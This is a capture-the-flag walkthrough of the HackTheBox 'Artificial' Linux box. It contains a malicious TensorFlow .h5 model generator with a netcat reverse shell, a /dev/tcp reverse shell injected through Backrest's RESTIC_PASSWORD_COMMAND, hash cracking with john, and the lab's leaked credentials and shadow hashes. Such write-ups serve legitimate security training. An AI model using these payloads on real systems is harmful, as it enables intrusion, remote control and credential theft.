HTB-Artificial

Box Info

Difficulty Easy
OS Linux
IP Address 10.10.11.74

Port Scanning

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# Check all open TCP
sudo rustscan 10.10.11.74 -r 1-65535 --ulimit 5000
# Nmap scan with script on open TCP port
sudo nmap 10.10.11.74 -sCV -Pn -sT -p 22,80
# Nmap scan vulnerability
sudo nmap -sT -p 20,80 --script=vuln -O -Pn 10.10.11.74
# Nmap scan with UDP port
sudo nmap -sU --top-ports 20 -Pn 10.10.11.74

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
| 256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
|_ 256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://artificial.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Update DNS

1
2
sudo nano /etc/hosts
10.10.11.74 artificial.htb

Service Enumeration

80/tcp - HTTP

acda8564c37394090d95a43508508264.webp

Register an account

dbf62482938d6db1c35a18470d2715b8.webp

Once login it will shows a dashboard and allow us to upload

660d57befcf67261c23406e89ba7356c.webp

Check the requirements

5a7aeb4d04d111715240be780da67537.webp

Check the Dockerfile

ceffbf95eb3d61c3114a3ed56f0c88a9.webp

Tensorflow RCE

TensorFlow Remote Code Execution with Malicious Model | CyberBlog

To make it work, we need to create the exploit.h5 file and import os and then execute with the revshell.

a1f72b5bd2e16f0556a0b6bc55a92878.webp

Then we need tensorflow:2.13.0 to run python script, here we will create a docker container to generate exploit.h5 file

Tensorflow Lambda RCE demo

PoC Tensorflow RCE

Prep the python environment

1
2
3
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

h5payload.py

1
2
3
4
5
6
7
8
9
10
11
12
13
import tensorflow as tf
import os

def exploit(x):
import os
os.system("rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.xx.xx 9001 >/tmp/f")
return x

model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")

Then execute the docker to generate the .h5 payload

1
2
mkdir /app
docker run -it --rm -v "$PWD":/app -w /app tensorflow/tensorflow:2.13.0 python3 generate_exploit.py

a12b6247ccc1db605b0bf5b3726609dc.webp

upload the exploit.h5 to the webpage and execute with view predictions

02a54d0d313dbb3e41cc56b47187fb94.webp

Start the listener before execute the script

7f8a2f61f6be26a1c9d1526c9b255e33.webp

Here we obtained APP user

Initiate User Foothold

Explore app user

Inside the app user app folder, there is an app.py script leaked the secret_key

1
2
3
4
5
6
app = Flask(__name__)
app.secret_key = "Sup3rS3cr3tKey4rtIfici4L"

app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
app.config['UPLOAD_FOLDER'] = 'models

f0490b26705ce327ce60656bae5a8e69.webp

users db file is located at ~/app/instance/

d1aa1a6f5215f87d8d4871972dc55a6e.webp

Download to local KALI and check all the user hashed password

50cfd549e714585fff0d66ca08d18e1e.webp

Brute force password

1
john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt gael.hash

2274549e2ac89d67aa5b13529ea7e054.webp

b72dfea01417f8f8dd7cec1ca39227dc.webp

only GAEL and ROYER user hash are cracked. Validate with netexec

1
nxc ssh 10.10.11.74 -u user.txt -p pass.txt --continue-on-success

dbc440ce38b518fcd599abc34ed1c3a9.webp

1
gael : mattp005numbertwo

Gael SSH

1
ssh gael@10.10.11.74

99ed11c990b9fefff172c7af9953804b.webp

User Flag

0b1643719b7e71d6b83ca6ec53d3d92d.webp

Privilege Escalation

LinPEAS

sqlite

cd59b8b03371a3a0dfdb70a539b35ca3.webp

GROUP writeable file

4e98a1341438378961256ab0ac7cb9aa.webp

Local listening port

ca3e6aecc25fd6910baa0524166f88bd.webp

9898/tcp - Backrest

Port forward to local KALI

1
ssh -L 9898:127.0.0.1:9898 gael@10.10.11.74

f3c6ffb71dfcdb6fab97ccd55cc74b87.webp

It is **Backrest 1.7.2 ,**tested with credentials we had now, but none of them able to login. Check again on the LinPEAS, there is a directory named backrest in /opt

2d1ab2f6dbc83254872084704bb09587.webp

inside the install.sh there is a config file to perform backup using restic

fd7dbfc2fc5441b1c39b62d95e0e2b7a.webp

Upon checking the /var/backups fund a backrest_backup.tar.gz

1840833f32ab617c00e53319710da7f1.webp

Extract it out and check what can we get from this tar file

1
tar -xvf backrest_backup.tar.gz 

Here it leaked the backrest_root credentials

d46010fcdc36702f2c4820d2f105dfa1.webp

backrest/.config/config.json

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"modno": 2,
"version": 4,
"instance": "Artificial",
"auth": {
"disabled": false,
"users": [
{
"name": "backrest_root",
"passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
}
]
}
}

Brute force backrest_root Bcrypt

985b6287b6c719123b6280510b15c27d.webp

1
john --format=bcrypt -w /usr/share/wordlists/rockyou.txt backrest_root.hash^

565cc35319a8dfd0b04c513d223fa0bc.webp

1
backrest_root : !@#$%^

Initiate Root Foothold

Backrest Dashboard

Used the credentials found to login and it lead to the dashboard

6594c3d9d601f27c6efa63a7330d2d3a.webp

https://github.com/garethgeorge/backrest

Getting Started

ecdf4dc07733c0e0bc296cae64fd722d.webp

From adding restic repo inside Env Vars shows the requirement for the RESTIC_PASSWORD, and found there is an interesting Env is RESTIC_PASSWORD_COMMAND. Perhaps, I can abuse it with normal bash command

1
RESTIC_PASSWORD_COMMAND= bash -c ' bash -i >& /dev/tcp/10.10.xx.xx/9001 0>&1'

1c3ddc3ed5bf6b7f2bc09879d7952d94.webp

While pressing the test configuration, command works!

70cdbf6c19b3cb9fe36bc0e1d0596f69.webp

Root flag

aadf0486ab4f99ded61d196e3221f6fc.webp

Hashdump

1
2
3
root:$6$UUrrHE6LTPdhmLil$v9nJaHljuUC0gR5HBAqVWvnDVgYoNYE6EvjIEGNykwadZ8w8gOu212j5bipzK72.nBtx/0h4z4CPki/Ac2f1i1:20015:0:99999:7:::
gael:$6$ZgkOwXDgoK.yOfv9$7gGQcVFbMepHAPCW.qS/1z87V5p15x4RokWKwNvFXqwo3QLEfFx2GaJs1JqbZ81i/uLy7bJ8TYk4dQYXQpeEC0:20015:0:99999:7:::
app:$6$1CKnP41b8QhfYnAx$b88.zZJfVQ84SBkePAyzIsXdA/w6wvUVq4c2ExOho0RIY8iS43bdJbBPHYdttqqNvBV.H6noc2EFkdBlbb5WL.:20015:0:99999:7:::